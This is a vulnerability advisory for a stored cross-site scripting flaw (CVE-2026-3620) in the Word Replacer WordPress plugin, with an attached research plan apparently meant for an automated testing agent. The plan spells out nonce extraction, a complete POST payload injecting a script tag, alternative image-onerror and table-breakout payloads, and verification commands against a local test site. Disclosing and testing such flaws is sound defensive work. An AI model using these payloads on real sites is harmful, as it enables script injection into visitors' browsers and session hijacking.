Word Replacer <= 0.4 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'Replacement' Parameter
Description
The Word Replacer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'replacement' parameter in all versions up to, and including, 0.4. This is due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan targets CVE-2026-3620, a Stored Cross-Site Scripting (XSS) vulnerability in the **Word Replacer** plugin (<= 0.4). ### 1. Vulnerability Summary The Word Replacer plugin allows administrators to define a list of words or phrases to be automatically replaced across the site's conte…
Show full research plan
This research plan targets CVE-2026-3620, a Stored Cross-Site Scripting (XSS) vulnerability in the Word Replacer plugin (<= 0.4).
1. Vulnerability Summary
The Word Replacer plugin allows administrators to define a list of words or phrases to be automatically replaced across the site's content. The vulnerability exists because the replacement parameter, which defines the new string to be inserted, is neither sanitized when saved to the database nor properly escaped when rendered on the frontend. Since the replacement occurs via content filters (like the_content), the injected script executes in the context of any user viewing a page where the replacement has been triggered.
2. Attack Vector Analysis
- Endpoint: Admin settings page, typically found at
wp-admin/options-general.php?page=word-replacerorwp-admin/admin.php?page=word-replacer. - Vulnerable Parameter:
replacement(likely part of an array, e.g.,replacement[]or a field namedword_replacer_replacement). - Authentication: Administrator-level privileges are required.
- Impact: Stored XSS. An attacker with admin access (or via CSRF if nonces are missing) can inject scripts that execute for all site visitors, including other administrators, potentially leading to session hijacking or further site compromise.
3. Code Flow (Inferred)
- Registration: The plugin registers an admin page via
add_options_page()oradd_menu_page()during theadmin_menuhook. - Data Ingestion: When the admin saves settings, the plugin processes
$_POST. It likely usesupdate_option()to store pairs of "original" and "replacement" strings. - Missing Sanitization: Before
update_option(), the code fails to applywp_kses()orsanitize_text_field()to the replacement string. - Content Filtering: The plugin registers a filter on
the_content(and possiblythe_titleorcomment_text):add_filter('the_content', 'word_replacer_filter'); - Execution Sink: Inside the filter, the plugin performs a replacement (likely using
str_replaceorpreg_replace). - Missing Output Escaping: The result of the replacement is returned directly to the content stream without being passed through
esc_html()or similar functions, allowing the browser to execute the injected HTML/JS.
4. Nonce Acquisition Strategy
Since the attacker must be an Administrator, the easiest way to handle nonces is to use the browser_eval tool to extract them from the settings form.
- Navigate: Use
browser_navigateto go to the Word Replacer settings page:/wp-admin/options-general.php?page=word-replacer. - Identify Nonce: The settings form will likely contain a hidden input field for the nonce.
- Extract:
// Inferred nonce field names browser_eval("document.querySelector('input[name=\"_wpnonce\"]')?.value || document.querySelector('input[name=\"word_replacer_nonce\"]')?.value") - Bypass Check: If the plugin uses the WordPress Settings API (
register_setting), the nonce is handled automatically byoptions.php. If it uses a custom POST handler, check ifcheck_admin_referer()is actually called.
5. Exploitation Strategy
The goal is to save a replacement rule where the replacement string contains an XSS payload.
Step 1: Discover Form Structure
Navigate to the settings page and inspect the input names for "Original Word" and "Replacement Word".
- Assumption: Original field is
original[]and replacement isreplacement[].
Step 2: Submit Payload
Submit a POST request to the settings handler (either options.php or the settings page itself).
- URL:
http://localhost:8080/wp-admin/options.php(if using Settings API) orhttp://localhost:8080/wp-admin/options-general.php?page=word-replacer. - Method: POST
- Payload:
action=update& option_page=word_replacer_settings& _wpnonce=[EXTRACTED_NONCE]& word_replacer_original[0]=VULN_CHECK& word_replacer_replacement[0]=<script>alert(document.domain)</script>VULN_CHECK
Step 3: Trigger Execution
Create a public post containing the string VULN_CHECK.
6. Test Data Setup
- Plugin Installation: Ensure
word-replacerversion 0.4 is active. - Administrative User: Login as
admin. - Target Content:
wp post create --post_title='XSS Trigger Page' --post_content='This is a test for VULN_CHECK.' --post_status='publish'
7. Expected Results
- The settings page should accept the
<script>tag without stripping it. - When visiting the "XSS Trigger Page", the word
VULN_CHECKshould be preceded/replaced by the script tag. - The browser should execute
alert(document.domain).
8. Verification Steps
- Database Check:
wp option get word_replacer_settings --format=json # Verify the 'replacement' value contains the raw <script> tag. - Frontend Source Check:
Usehttp_requestto fetch the trigger post and grep for the raw payload.# Replace URL with the actual post URL http_request "http://localhost:8080/?p=[POST_ID]" | grep "<script>alert"
9. Alternative Approaches
- Attribute-based XSS: If
<script>tags are somehow blocked by a firewall, try an image attribute:replacement = <img src=x onerror=alert(1)> - Admin-Dashboard XSS: Check if the replacement rules are also rendered unescaped on the plugin's own settings page (Reflected or Stored XSS in the admin UI). If the plugin displays the "Current Replacements" in a table, it might be vulnerable there too:
original = normal_wordreplacement = </td><script>alert(1)</script><td>(Attempting to break out of a table cell).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.